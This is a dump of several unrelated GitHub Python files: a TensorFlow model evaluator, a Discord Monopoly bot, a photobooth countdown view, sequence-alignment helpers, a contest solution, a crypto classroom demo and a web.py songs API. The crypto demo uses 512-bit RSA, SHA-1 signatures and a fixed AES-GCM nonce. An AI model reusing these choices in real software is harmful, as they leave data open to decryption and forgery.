tf\n\nimport DTN\n# import DTN_train\n\nimport CWRU_Data\n\ndef evaluate(test_data, model_file):\n with tf.Graph().as_default() as g:\n with tf.device('cpu:0'):\n x = tf.placeholder(tf.float32, [\n test_data.num_examples,\n DTN.IMAGE_SIZE,\n DTN.IMAGE_SIZE,\n DTN.NUM_CHANNELS],\n name='x-input')\n y_ = tf.placeholder(tf.float32, [None, DTN.OUTPUT_NODE], name='y-input')\n\n _, y = DTN.inference(x, False, None, reuse=False, trainable=False)\n\n correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n # accuracy_sum = tf.reduce_sum(tf.cast(correct_prediction, tf.float32))\n\n # load saved model\n\n saver = tf.train.Saver()\n\n with tf.Session() as sess:\n saver.restore(sess, model_file)\n accuracy_score = sess.run(accuracy, feed_dict={x: np.reshape(test_data.images,\n (test_data.num_examples,\n DTN.IMAGE_SIZE,\n DTN.IMAGE_SIZE,\n DTN.NUM_CHANNELS)\n ), y_: test_data.labels})\n print(model_file, \"test accuracy = %f\" % accuracy_score)\n\n\npre_model_file = 'model/PRE_DTN_CWRU_Data.ckpt'\ndtn_model_file = 'model/2018-01-23-14-28-15_reg-0.0001_t1-0.0001_t2-0.0001_NEWDTN_CWRU_Data.ckpt-500'\nx_0HP, y_0HP = CWRU_Data.get_data('CWRU/0HP')\nx_3HP, y_3HP = CWRU_Data.get_data('CWRU/3HP')\ntarget_data = CWRU_Data.Dataset(x_3HP, y_3HP)\nsource_data = CWRU_Data.Dataset(x_0HP, y_0HP)\nevaluate(source_data, dtn_model_file)\nevaluate(target_data, dtn_model_file)\n\n","repo_name":"StepyHan/TL_Experiment","sub_path":"DTN_test.py","file_name":"DTN_test.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"11583322010","text":"import asyncio\nimport datetime\nimport json\nimport random\nfrom typing import Callable, Dict, List, Tuple, TypeVar\n\nimport discord\nfrom discord.ext import commands\n\nfrom . import Reactions\nfrom .Board import Board\nfrom .Board.Spaces.LuckSpace import LuckSpace\nfrom .Board.Spaces.MonopolyProperty import MonopolyProperty\nfrom .Board.Spaces.Tax import Tax\nfrom .Player import Player\n\nSpace = TypeVar('Space')\n\nDICE_EMOJI = {\n 'Dice1': '<:Dice1:748278516289896468>',\n 'Dice2': '<:Dice2:748278516319256696>',\n 'Dice3': '<:Dice3:748278516226719855>',\n 'Dice4': '<:Dice4:748278516352549025>',\n 'Dice5': '<:Dice5:748278516272857089>',\n 'Dice6': '<:Dice6:748278516516388905>'\n}\n\nwith open('json/embeds.json', 'r') as file:\n global EMBEDS_GLOBAL\n EMBEDS_GLOBAL = json.load(file)\n\n\nclass Monopoly:\n \"\"\"\n Main Class that handles the game loop\n\n Monopoly class sends messages and embeds and\n does most of the game logic\n \"\"\"\n\n def __init__(self, bot, channel, players, board):\n self.order: List[Player] = players\n self.bot: commands.AutoShardedBot = bot\n self.channel: discord.Channel = channel\n self.board: Board = board\n self.choice: str = ''\n self.houses: int = 32\n self.hotels: int = 12\n self.doubles: int = 0\n self.dice: Tuple[int] = (0, 0)\n self.prison_broke = False\n self._teleport: int = -1\n self._space_backwards: int = 0\n self._jailing: bool = False\n self.rent_multiplier = 1\n # pointer starts at -1 to compensate for the increment\n # __next__ does before it returns the player\n self._pointer: int = 0\n self._end_turn: bool = False\n # While waiting for a reaction to be added, these are the valid ones\n # besides the standard:\n # 'board', 'properties', 'trade', 'bankruptcy'\n self.valid_reactions: List[str] = list()\n\n def __getitem__(self, index):\n return self.order[index]\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if len(self.order) == 1:\n raise StopIteration\n elif not self._end_turn:\n return self[self._pointer]\n elif self._pointer < len(self.order) - 1:\n self._pointer += 1\n return self[self._pointer]\n else:\n self._pointer = 0\n return self[0]\n\n def check_reaction(self, reaction: discord.Emoji, user: discord.User) -> bool:\n self.choice = Reactions.EMOJI_REACTIONS[str(reaction.emoji)]\n if str(reaction.emoji) in Reactions.EMOJI_REACTIONS:\n return user == self.playing.user and self.choice in self.valid_reactions\n else:\n return False\n\n async def pay_debt(self):\n space = self.playing.space\n if issubclass(type(space), MonopolyProperty) or issubclass(type(space), Tax):\n rent, receiver = space.pay_rent(self.rent_multiplier)\n if rent > self.playing.money:\n await self.channel.send('You don\\'t have enough money to pay this debt!')\n return False\n elif issubclass(type(space), Tax):\n self.playing.money -= rent\n await self.channel.send(f'{self.playing.user.mention} ({self.playing.money}$) payed {space.rent} to the bank')\n else:\n self.playing.money -= rent\n receiver.money += rent\n await self.channel.send(f'{self.playing.user.mention} ({self.playing.money}$) payed {space.rent} to {receiver.user.mention} ({receiver.money}$)')\n self.rent_multiplier = 1\n return True\n elif issubclass(type(space), LuckSpace):\n card = space.deck[-1]\n if card['type'] == 'pay_money':\n if card['money'] > self.playing.money:\n await self.channel.send('You don\\'t have enough money to pay this debt!')\n return False\n else:\n self.playing.money -= card['money']\n await self.channel.send(f'{self.playing.user.mention} ({self.playing.money}$) payed {space.rent} to the bank')\n return True\n elif card['type'] == 'pay_money_players':\n if card['money'] * len(self.order) > self.playing.money:\n await self.channel.send('You don\\'t have enough money to pay this debt!')\n return False\n else:\n self.playing.money -= card['money'] * len(self.order)\n for player in self.order:\n player.money += card['money'] \n await self.channel.send(f'{self.playing.user.mention} ({self.playing.money}$) payed each player {card[\"money\"]}$')\n return True\n elif card['type'] == 'house_repairs':\n if card['cost']['hotel'] * self.playing.hotels + card['cost']['house'] * self.playing.house > self.playing.money:\n await self.channel.send('You don\\'t have enough money to pay this debt!')\n return False\n else:\n self.playing.money -= card['cost']['hotel'] * self.playing.hotels + card['cost']['house'] * self.playing.house\n await self.channel.send(f'{self.playing.user.mention} ({self.playing.money}$) payed {space.rent} to the bank')\n return True\n\n async def trade(self):\n return None, discord.Embed(description='')\n\n async def buy_property(self):\n to_buy = self.playing.space\n to_buy.buy_property(self.playing)\n await self.channel.send(f'{self.playing.user.mention} bought {to_buy.emoji} **{to_buy.name}** for {to_buy.cost}$')\n return True\n\n async def declare_bankruptcy(self):\n return None, discord.Embed(description='')\n\n async def auction_property(self):\n return None, discord.Embed(description='')\n\n async def pass_prison_break(self):\n self[10].release_prisoner(self.playing, 'pass')\n await self.channel.send(f'{self.playing.user.mention} used a prison free pass. They\\'re now free')\n return True\n\n async def fine_prison_break(self):\n if self.playing.money < 50:\n await self.channel.send('You don\\'t have enough money to pay the fine!')\n return False\n else:\n self[10].release_prisoner(self.playing, 'fine')\n await(f'{self.playing.user.mention}({self.playing.money}$) payed a 50$ fine. They\\'re now free')\n return True\n \n async def double_prison_break(self):\n await self.channel.send(f'{self.playing.user.mention} has broke out of jail with a double')\n self[10].release_prisoner(self.playing, 'double')\n\n async def teleport(self):\n print('we are in!')\n card = self.playing.space.deck[-1]\n if card['type'] == 'teleport':\n self._teleport = card['space']\n elif card['type'] == 'teleport_rent_multiplier':\n self.rent_multiplier = 2\n if card['space'] == 'railroad_property':\n if self.playing.space.index == 7:\n self._teleport = 15\n elif self.playing.space.index == 22:\n self._teleport = 25\n elif self.playing.space.index == 36:\n self._teleport = 5\n elif card['space'] == 'service_property':\n if self.playing.space.index == 7:\n self._teleport = 12\n elif self.playing.space.index == 22:\n self._teleport = 28\n elif self.playing.space.index == 36:\n self._teleport = 12\n self._end_turn = False\n \n async def space_backwards(self):\n card = self.playing.space.deck[-1]\n self._space_backwards = card['spaces']\n\n async def jailing(self):\n self._jailing = True\n\n async def nothing(self):\n pass\n\n async def check_board(self):\n for embed in self.board.board_embeds():\n embed = discord.Embed.from_dict(embed)\n await self.channel.send(embed=embed)\n return None, discord.Embed(description='')\n\n async def check_properties(self):\n for embed in self.playing.properties_embed():\n embed = discord.Embed.from_dict(embed)\n await self.channel.send(embed=embed)\n return None, discord.Embed(description='')\n\n async def roll_dice(self, announce: bool) -> Tuple[int]:\n \"\"\"\n Rolls dice,\n\n Announce sends the dice emoji directly to self.channel.\n\n Returns a tuple with both dice values\n \"\"\"\n dice1 = random.randrange(1, 7)\n dice2 = random.randrange(1, 7)\n if announce:\n await self.channel.send('{} {}'.format(DICE_EMOJI[f'Dice{dice1}'],\n DICE_EMOJI[f'Dice{dice2}']))\n return dice1, dice2\n\n async def player_turn(self) -> Dict:\n \"\"\"\n This is called whenever the player rolls the dice\n\n Returns a Dict of all the information relevant for\n later use\n \"\"\"\n dice = self.dice\n playing = self.playing\n\n # Embed making\n embed_landing = discord.Embed.from_dict(EMBEDS_GLOBAL['landing'])\n embed_landing.set_author(\n name=f'{str(playing.user)} end turn', icon_url=playing.avatar_url)\n embed_landing.set_footer(\n text='Monopoly game at \\'{}\\''.format(self.channel.guild))\n embed_landing.timestamp = datetime.datetime.now()\n\n if dice[0] == dice[1]: \n if self.doubles == 2:\n embed_landing.description = 'You rolled a double 3 times!\\n \\\n You are going to Brazil'\n self._jailing = True\n self._end_turn = True\n else:\n self.doubles += 1\n embed_landing.description += '\\nYou rolled a double! You can play again!'\n else:\n self._end_turn = True\n # Call move_on_board method and store space\n space, give_salary = self.board.move_on_board(\n playing, dice=sum(dice), jailing=self._jailing)\n\n # Embed Editing with space\n embed_landing.description = embed_landing.description.format(\n dice1=DICE_EMOJI[f'Dice{dice[0]}'],\n dice2=DICE_EMOJI[f'Dice{dice[1]}'],\n sum_dice=sum(dice),\n space=space.name\n )\n embed_landing.color = space.color_int\n embed_landing.timestamp = datetime.datetime.now()\n embed_landing.set_thumbnail(\n url=space.image_url)\n\n # Check if player has passed GO\n if give_salary:\n embed_landing.description += f'\\n**You passed by GO!\\nYou received {self.board.salary}**'\n playing.money += self.board.salary\n \n event = space.event(self.playing, embed_landing)\n\n return event, embed_landing\n \n async def teleport_turn(self):\n playing = self.playing\n # Embed making\n embed_landing = discord.Embed.from_dict(EMBEDS_GLOBAL['teleport'])\n embed_landing.set_author(\n name=f'{str(playing.user)} end turn', icon_url=playing.avatar_url)\n embed_landing.set_footer(\n text='Monopoly game at \\'{}\\''.format(self.channel.guild))\n embed_landing.timestamp = datetime.datetime.now()\n\n if self.dice[0] != self.dice[1]:\n self._end_turn = True\n\n space, give_salary = self.board.move_on_board(\n playing, teleport=self._teleport, jailing=self._jailing)\n self._teleport = -1\n\n embed_landing.description.format(space=space.name)\n embed_landing.color = space.color_int\n embed_landing.timestamp = datetime.datetime.now()\n embed_landing.set_thumbnail(\n url=space.image_url)\n \n if give_salary:\n embed_landing.description += f'\\n**You passed by GO!\\nYou received {self.board.salary}**'\n playing.money += self.board.salary\n \n event = space.event(self.playing, embed_landing)\n\n return event, embed_landing\n\n\n async def prisoner_turn(self):\n \"\"\"\n Calls if prisoner decides to roll dice\n \"\"\"\n\n playing = self.playing\n event: str = str()\n\n embed_prisoner = discord.Embed.from_dict(EMBEDS_GLOBAL['prisoner'])\n embed_prisoner.set_author(\n name=f'{str(playing.user)} end turn', icon_url=playing.avatar_url)\n embed_prisoner.set_footer(\n text='Monopoly game at \\'{}\\''.format(self.channel.guild))\n\n dice = await self.roll_dice(False)\n if dice[0] == dice[1]:\n embed_prisoner.description += '\\nYou rolled a double! You are out of prison!'\n event = 'double_prison_break'\n elif playing.in_prison > 1:\n embed_prisoner.description += '\\nYou didn\\'t roll a double!'\n playing.in_prison -= 1\n event = 'nothing'\n elif playing.in_prison == 1:\n embed_prisoner.description += '\\nYou didn\\'t roll a double and you must pay a fine (50$) \\\n or use a prison free pass to get out'\n event = 'fine_prison_break'\n\n embed_prisoner.description = embed_prisoner.description.format(\n dice1=DICE_EMOJI[f'Dice{dice[0]}'],\n dice2=DICE_EMOJI[f'Dice{dice[1]}'],\n sum_dice=sum(dice)\n )\n embed_prisoner.color = self.board[10].color_int\n embed_prisoner.timestamp = datetime.datetime.now()\n embed_prisoner.set_thumbnail(\n url=self.board[10].image_url)\n \n return event, embed_prisoner\n\n async def play(self) -> None:\n \"\"\"\n Main game loop\n \"\"\"\n\n await self.channel.send('We will now decide the playing order!')\n rolled_dice: Dict[Player, int] = dict()\n # Roll dice to decide order\n for player in self.order:\n self.playing = player\n player.space = self.board[0]\n message = await self.channel.send(f'{player.user.mention} roll the dice')\n await message.add_reaction('🎲')\n self.valid_reactions.append('dice')\n await self.bot.wait_for('reaction_add', check=self.check_reaction)\n self.valid_reactions.clear()\n rolled_dice[player] = sum(await self.roll_dice(True))\n self.order.clear()\n self.valid_reactions = ['board', 'properties', 'trade', 'bankruptcy']\n # Sort self.order dict\n rolled_dice = sorted(\n rolled_dice.items(),\n key=lambda x: x[1],\n reverse=True\n )\n self.order = [player[0] for player in rolled_dice]\n\n # Set everyone's postion to the first space\n self.board[0].here = [player for player in self.order]\n\n # Send the game order embed\n embed_order = discord.Embed(\n title='The game order will be: ', description='', timestamp=datetime.datetime.now())\n embed_order.set_author(\n name='Let\\'s Play!', icon_url='https://cdn.discordapp.com/avatars/703970013366845470/e87b7deba6b38e852e6295beed200d37.webp?size=1024')\n embed_order.set_footer(\n text=f'Monopoly Game at \\'{self.channel.guild}\\'')\n embed_order.set_thumbnail(url=self[0].user.avatar_url)\n for player in self.order:\n embed_order.description += str(player.user) + '\\n'\n await self.channel.send(embed=embed_order)\n\n # Main Game loop\n for playing in self:\n self._end_turn = False\n self.playing = playing\n space: Space = playing.space\n\n # Make embed for turn\n embed_turn = discord.Embed.from_dict(EMBEDS_GLOBAL['turn'])\n embed_turn.color = space.color_int\n embed_turn.set_author(\n name=f'{playing.user} turn',\n icon_url=str(playing.avatar_url)\n )\n embed_turn.set_thumbnail(url=space.image_url)\n embed_turn.set_footer(\n text=f'Monopoly game at \\'{self.channel.guild}\\'')\n embed_turn.timestamp = datetime.datetime.now()\n embed_turn.description = embed_turn.description.format(\n money=playing.money,\n space=playing.space.name,\n prison_free_pass=playing.prison_free_pass\n )\n\n # Check if player is in prison\n if playing.in_prison != 0:\n prisoner = True\n self.valid_reactions.append('dice_prison')\n self.valid_reactions.append('fine_prison_break')\n if playing.prison_free_pass != 0:\n self.valid_reactions.append('pass_prison_break')\n embed_turn.description += f'\\n**You\\'re in jail\\nTurns left in prison: __{playing.in_prison}__**'\n else:\n prisoner = False\n self.valid_reactions.append('dice')\n # This block is in a gather function to detect possible reaction adds\n # while the bot adds all the possibilites\n event = str()\n embed_finish = discord.Embed()\n Reactions.add_reactions_embed(embed_turn, self.valid_reactions)\n\n if not self.prison_broke and self._teleport == -1 and self._space_backwards == 0:\n self.dice = await self.roll_dice(False)\n message_turn = await self.channel.send(embed=embed_turn)\n\n await asyncio.gather(\n Reactions.add_reactions_message(\n message_turn, self.valid_reactions),\n self.bot.wait_for('reaction_add', check=self.check_reaction)\n )\n event, embed_finish = await self.CHOICE_SWICTHER[self.choice](self)\n elif self.prison_broke:\n event, embed_finish = await self.player_turn()\n elif self._teleport != -1:\n event, embed_finish = await self.teleport_turn()\n\n self.choice = str()\n del self.valid_reactions[4:]\n \n if event is not None and not prisoner:\n if event == 'jailing':\n self.board[10].lock_prisoner(playing)\n self.valid_reactions.append('nothing')\n else:\n self.valid_reactions.append(event)\n \n if event == 'buy_property':\n self.valid_reactions.append('auction_property')\n \n elif event is not None and prisoner:\n if event == 'double_prison_break':\n self.valid_reactions.append('double_prison_break')\n elif event == 'fine_prison_break':\n self.prison_broke = True\n self.valid_reactions.append('fine_prison_break')\n if playing.prison_free_pass != 0:\n self.valid_reactions.append('pass_prison_break')\n else:\n self.valid_reactions.append('nothing')\n \n Reactions.add_reactions_embed(embed_finish, self.valid_reactions)\n\n while self.choice not in self.valid_reactions[4:] and event is not None:\n message_finish = await self.channel.send(embed=embed_finish)\n await asyncio.gather(\n Reactions.add_reactions_message(\n message_finish, self.valid_reactions),\n self.bot.wait_for('reaction_add', check=self.check_reaction)\n )\n if not await self.CHOICE_SWICTHER[self.choice](self):\n continue\n \n del self.valid_reactions[4:]\n\n await self.channel.send('The game has ended')\n await self.channel.send(f'{self[0]} is the winner')\n\n CHOICE_SWICTHER: Dict[str, Callable] = {\n 'dice': player_turn,\n 'dice_prison': prisoner_turn,\n 'board': check_board,\n 'properties': check_properties,\n 'trade': trade,\n 'buy_property': buy_property,\n 'bankruptcy': declare_bankruptcy,\n 'auction_property': auction_property,\n 'nothing': nothing,\n 'pay_debt': pay_debt,\n 'use_prison_pass': pass_prison_break,\n 'fine_prison_break': fine_prison_break,\n 'double_prison_break': double_prison_break,\n 'teleport': teleport,\n 'space_backwards': space_backwards,\n 'jailing': jailing\n }\n","repo_name":"OrangSquid/Monopoly-Bot","sub_path":"src/MonopolyCore.py","file_name":"MonopolyCore.py","file_ext":"py","file_size_in_byte":20552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"12569613253","text":"from .stateView import StateView\nfrom assets.assets import get_asset_uri\nfrom controllers.camera_controller import CameraController\nfrom utils.camera_utils import CameraUtils\nfrom utils.win_utils import CenterMode\nfrom components.text_message import TextMessage\nfrom components.fiebooth_logo import FieboothLogo, LogoColorMode\nimport time\nimport pygame\n\n\nclass CountDownView(StateView):\n def __init__(self, state_controller, window_context, camera):\n StateView.__init__(self, state_controller, window_context, \"countdown\", \"blank_smile\")\n self.__timer = 0\n self.__camera :CameraController = camera\n self.__font = get_asset_uri(\"BradBunR.ttf\")\n\n def show(self):\n self.__timer = time.time()\n self.__logo = FieboothLogo(self._window, LogoColorMode.LIGHT)\n\n def setup(self):\n self.__show_camera_stream()\n diff_time = time.time() - self.__timer\n if diff_time > 0 and diff_time <= 1:\n self.__show_count(\"3\")\n elif diff_time > 1 and diff_time <= 2:\n self.__show_count(\"2\")\n elif diff_time > 2 and diff_time <= 3:\n self.__show_count(\"1\")\n else:\n self._go_next_state()\n \n def __show_camera_stream(self):\n CameraUtils.show_camera_stream_as_background(self.__camera, self._window)\n\n def __show_count(self, number):\n count = TextMessage(self._window, number,\n center_x=CenterMode.CENTER, font_size=400,\n center_y=CenterMode.CENTER, color=(67,134, 213))\n count.setup()\n self.__logo.setup()","repo_name":"momo2555/fiebooth","sub_path":"src/views/countdown_view.py","file_name":"countdown_view.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"9378011647","text":"### You may paste any/all of the code in this file that you find\n### useful into your solutions.\n\nimport random\n\ndef permute_string(s):\n \"\"\"\n Return a new string with the characters in s randomly permuted.\n\n Arguments:\n s -- string\n\n Returns:\n Random permutation of s\n \"\"\"\n charlist = list(s)\n random.shuffle(charlist)\n newstr = \"\".join(charlist)\n return newstr\n\ndef read_protein(filename):\n \"\"\"\n Read a protein sequence from the file named filename.\n\n Arguments:\n filename -- name of file containing a protein sequence\n\n Returns:\n A string representing the protein\n \"\"\"\n with open(filename) as f:\n p = f.read()\n p = p.rstrip()\n return p\n\ndef read_scoring_matrix(filename):\n \"\"\"\n Read a scoring matrix from the file named filename. \n\n Argument:\n filename -- name of file containing a scoring matrix\n\n Returns:\n A dictionary of dictionaries mapping X and Y characters to scores\n \"\"\"\n M = {}\n with open(filename) as f:\n ykeys = f.readline()\n ykeychars = ykeys.split()\n for line in f.readlines():\n vals = line.split()\n xkey = vals.pop(0)\n M[xkey] = {}\n for ykey, val in zip(ykeychars, vals):\n M[xkey][ykey] = int(val)\n return M\n","repo_name":"jcjcarter/Global-Pairwise","sub_path":"Homework 5/provided.py","file_name":"provided.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"13038106344","text":"# link : https://codeforces.com/problemset/problem/169/A\n# sorting\nn, a, b = map(int, input().split())\n\nh = sorted([int(x) for x in input().split()])\n\n\ntry:\n print(h[b]-h[b-1])\nexcept :\n print(0)\n\n","repo_name":"tahadavari/ICPC","sub_path":"Questions/Chores.py","file_name":"Chores.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"26497238837","text":"import math, random, rsa, binascii, hashlib\r\nfrom Cryptodome.Util.number import *\r\nfrom Cryptodome.Cipher import AES\r\nfrom cryptography.hazmat.primitives import hashes\r\nfrom cryptography.hazmat.primitives.asymmetric import ec\r\nfrom cryptography.hazmat.primitives.kdf.hkdf import HKDF\r\nfrom cryptography.hazmat.primitives import serialization\r\nfrom cryptography.hazmat.primitives.serialization import PublicFormat, pkcs12, PrivateFormat\r\n\r\n# Create a shared key for encryption using EC SECP256R1 keys. \r\ndef ECDHE_SharedKey(privateKey, publicKey):\r\n sharedKey = privateKey.exchange(ec.ECDH(), publicKey)\r\n return(binascii.hexlify(sharedKey))\r\n\r\n# Sign message using RSA keys\r\ndef RSA_Signing(message, privateKey):\r\n hashValue = rsa.compute_hash(message, 'SHA-1')\r\n signature = rsa.sign_hash(hashValue, privateKey, 'SHA-1')\r\n return(signature)\r\n\r\n# Verify signed message using RSA public keys \r\ndef RSA_Verification(message, publicKey, signature):\r\n print('RSA digital signature verified')\r\n return(rsa.verify(message, signature, publicKey))\r\n\r\n# Encrypt the secret message using the shared EC key and \r\ndef AES_GCM_Encrypt(nonceValue, message, sharedKey):\r\n cipher_GCM=AES.new(sharedKey, AES.MODE_GCM, nonce=nonceValue)\r\n return([nonceValue,cipher_GCM.encrypt(message)])\r\n\r\n# Decrypt the ciphertext using the provided nonce and known shared key.\r\ndef AES_GCM_Decrypt(nonceValue, message, sharedKey):\r\n cipher_GCM=AES.new(sharedKey, AES.MODE_GCM, nonce=nonceValue)\r\n return(cipher_GCM.decrypt(message))\r\n\r\n# Super secret message, nonceValue and message array that is going to be sent to Bob\r\nplainText = b'A super secret packet that is only meant for bob to see'\r\nprint('Alice has a plaintext message she wants to share with bob, the message is:\\n' + str(plainText))\r\nnonceValue = b'6E6F6E6365'\r\nmessageArray = [nonceValue, plainText]\r\n\r\n# Define the RSA key for signature/verification. This will allow recipients to confirm they are \r\n# Talking to who they think they are talking to. \r\n(AlicePubRSAkey, AlicePrivRSAkey) = rsa.newkeys(512)\r\n(BobPubRSAkey, BobPrivRSAkey) = rsa.newkeys(512)\r\n\r\n# EC keys for Alice\r\nalicePrivate = ec.generate_private_key(ec.SECP256R1())\r\nalicePublic = alicePrivate.public_key()\r\n\r\n# EC keys for Bob\r\nbobPrivate = ec.generate_private_key(ec.SECP256R1())\r\nbobPublic = bobPrivate.public_key() \r\n\r\n# Bob and Alice sign their EC public keys \r\nprint('Alice and Bob share their EC Diffie Hellman public keys so they can create a shared secret. They both digitally sign their public keys with their RSA private keys')\r\nsignedAlicePublicKeyMessage = RSA_Signing((alicePublic.public_bytes(encoding=serialization.Encoding.OpenSSH, format=serialization.PublicFormat.OpenSSH)), AlicePrivRSAkey)\r\nsignedBobPublicKeyMessage = RSA_Signing((bobPublic.public_bytes(encoding=serialization.Encoding.OpenSSH, format=serialization.PublicFormat.OpenSSH)), BobPrivRSAkey)\r\n\r\n# They both verify they have the correct public key using RSA signatures. \r\nprint('Bob performs a verification using Alices public RSA key:')\r\nRSA_Verification((alicePublic.public_bytes(encoding=serialization.Encoding.OpenSSH, format=serialization.PublicFormat.OpenSSH)), AlicePubRSAkey, signedAlicePublicKeyMessage)\r\nprint('Alice performs a verification using Bobs public RSA key:')\r\nRSA_Verification((bobPublic.public_bytes(encoding=serialization.Encoding.OpenSSH, format=serialization.PublicFormat.OpenSSH)), BobPubRSAkey, signedBobPublicKeyMessage)\r\n\r\n# Alice generates the shared key \r\nprint('Alice and bob both now know they have each others legitimate public key. Alice makes a shared secret using Bobs public key and her prviate key. The shared secret they will both use to encrypt and decrypt the message is:')\r\nprint(ECDHE_SharedKey(alicePrivate, bobPublic))\r\n\r\nprint('Alice and Bob know that the nonce value will be sent in front of the message which can be used for AES GCM encryption and decryption')\r\n\r\nprint('Alice encrypts her plaintext using a random nonce value and the shared key. Alice signs the encrypted message with her Private RSA key prior to sending to Bob. Bob sucessfully verifies the ecnrypted message originated from Alice.')\r\n# Encrypt useing the shared key and the nonce value sent to Bob\r\nencryptedMessage = AES_GCM_Encrypt(messageArray[0], messageArray[1], binascii.unhexlify(ECDHE_SharedKey(alicePrivate, bobPublic)))\r\nsignedAliceSecretMessage = RSA_Signing(encryptedMessage[1], AlicePrivRSAkey)\r\nRSA_Verification(encryptedMessage[1], AlicePubRSAkey, signedAliceSecretMessage)\r\nprint('Bob receives the following encrypted message and nonce Value: ')\r\nprint(encryptedMessage)\r\n\r\n# Bob decrypts using the shared key, the encrypted message and the provided nonce value. \r\nprint('Bob decrypts using the shared key and nonce value and get the following plaintext message, which matches what Alices plaintext value.')\r\ndecryptedMessage = AES_GCM_Decrypt(encryptedMessage[0], encryptedMessage[1], binascii.unhexlify(ECDHE_SharedKey(bobPrivate, alicePublic)))\r\nprint(decryptedMessage)\r\n","repo_name":"blattuada/UDEL_CPEG672_Project3","sub_path":"PublicKey.py","file_name":"PublicKey.py","file_ext":"py","file_size_in_byte":5028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"35686378370","text":"#!/usr/bin/env python\n'''\n/***********************************************\n* Title: Songs Platform *\n* Author: Guillem Nicolau Alomar Sitjes * \n* Date: July 23rd, 2017 *\n* Code version: 0.1 *\n* Availability: Public *\n***********************************************/\n'''\nimport argparse\nimport web\nimport json\nfrom datetime import datetime\nimport sqlite3\nimport os.path\nimport errno\n\n\nclass MyApplication(web.application):\n # This method initializes the web server on a specified hostname and port,\n # and through a web server gateway interface\n def run(self, app_hostname, app_port, *middleware):\n func = self.wsgifunc(*middleware)\n return web.httpserver.runsimple(func, (app_hostname, app_port))\n\n\ndef initialize_db(db_file_name):\n # This method checks if the file exists, and if not, tries to create the\n # folder containing it, and a blank file in that path. After that, returns\n # a SQLite database instance linked to that file. 'check_same_thread\n # parameter needs to be set to False to avoid problems between petitions.\n if not os.path.exists(os.path.dirname(db_file_name)):\n try:\n os.makedirs(os.path.dirname(db_file_name))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n raise\n if not os.path.isfile(db_file_name):\n db_file = open(db_file_name, 'w')\n else:\n db_file = open(db_file_name, 'r')\n db_file.close()\n return sqlite3.connect(db_file_name, check_same_thread=False)\n\n# Links between urls and classes\nurls = (\n '/add_channel', 'AddChannel',\n '/add_performer', 'AddPerformer',\n '/add_song', 'AddSong',\n '/add_play', 'AddPlay',\n '/get_channel_plays', 'GetChannelPlays',\n '/get_song_plays', 'GetSongPlays',\n '/get_top', 'GetTop'\n)\n\ndb = initialize_db('data/dbfile.sqlite')\n\n\nclass AddChannel:\n # This method inserts a specified channel_name into the SQLite DB\n def POST(self):\n cursor = db.cursor()\n cursor.execute('''\n CREATE TABLE IF NOT EXISTS channels(id INTEGER PRIMARY KEY, channel_name TEXT)\n ''')\n cursor.execute('''INSERT INTO channels(channel_name)\n VALUES(?)''', (str(web.input().name),))\n db.commit()\n\n\nclass AddPerformer:\n # This method inserts a specified performer_name into the SQLite DB\n def POST(self):\n cursor = db.cursor()\n cursor.execute('''\n CREATE TABLE IF NOT EXISTS performers(id INTEGER PRIMARY KEY, performer_name TEXT)\n ''')\n cursor.execute('''INSERT INTO performers(performer_name)\n VALUES(?)''', (str(web.input().name),))\n db.commit()\n\n\nclass AddSong:\n # This method inserts a specified song name and performer into the SQLite DB\n def POST(self):\n cursor = db.cursor()\n cursor.execute('''\n CREATE TABLE IF NOT EXISTS songs(id INTEGER PRIMARY KEY, song_name TEXT, song_performer TEXT)\n ''')\n cursor.execute('''INSERT INTO songs(song_name, song_performer)\n VALUES(?, ?)''', (web.input().title, web.input().performer))\n db.commit()\n\n\nclass AddPlay:\n # This method inserts a specified play into the SQLite DB\n def POST(self):\n cursor = db.cursor()\n cursor.execute('''\n CREATE TABLE IF NOT EXISTS plays(id INTEGER PRIMARY KEY,\n channel_name TEXT, song_name TEXT, song_performer TEXT,\n start_time DATETIME, end_time DATETIME)\n ''')\n cursor.execute('''INSERT INTO plays(channel_name, song_name, song_performer, start_time, end_time)\n VALUES(?,?,?,?,?)''', (web.input().channel, web.input().title, web.input().performer,\n datetime.strptime(web.input().start, '%Y-%m-%dT%H:%M:%S'),\n datetime.strptime(web.input().end, '%Y-%m-%dT%H:%M:%S')))\n db.commit()\n\n\nclass GetChannelPlays:\n # This method retrieves all songs from a specified channel that were\n # reproduced during a specified period of time.\n def GET(self):\n errors = []\n try:\n curr_channel = web.input().channel\n from_time = datetime.strptime(web.input().start, '%Y-%m-%dT%H:%M:%S')\n to_time = datetime.strptime(web.input().end, '%Y-%m-%dT%H:%M:%S')\n except Exception as e:\n errors.append(str(e) + \". Not all parameters where given, or their format is incorrect.\")\n result = []\n cursor = db.cursor()\n try:\n cursor.execute('''SELECT * FROM plays''')\n plays = cursor.fetchall()\n except sqlite3.OperationalError as e:\n errors.append(str(e) + \". To load test data, run the application with option '--add-data\")\n if len(errors) == 0:\n for play in plays:\n if str(play[1]) == curr_channel and \\\n datetime.strptime(str(play[4]), '%Y-%m-%d %H:%M:%S') > from_time and \\\n datetime.strptime(str(play[5]), '%Y-%m-%d %H:%M:%S') < to_time:\n result.append({'performer': play[3],\n 'title': play[2],\n 'start': play[4],\n 'end': play[5]})\n return json.dumps({'result': result, 'code': 0})\n else:\n return json.dumps({'result': result, 'code': len(errors), 'errors': list(errors)})\n\n\nclass GetSongPlays:\n # This method retrieves all the times a song was played in any channel,\n # during a specified period of time.\n def GET(self):\n errors = []\n try:\n title = web.input().title\n from_time = datetime.strptime(web.input().start, '%Y-%m-%dT%H:%M:%S')\n to_time = datetime.strptime(web.input().end, 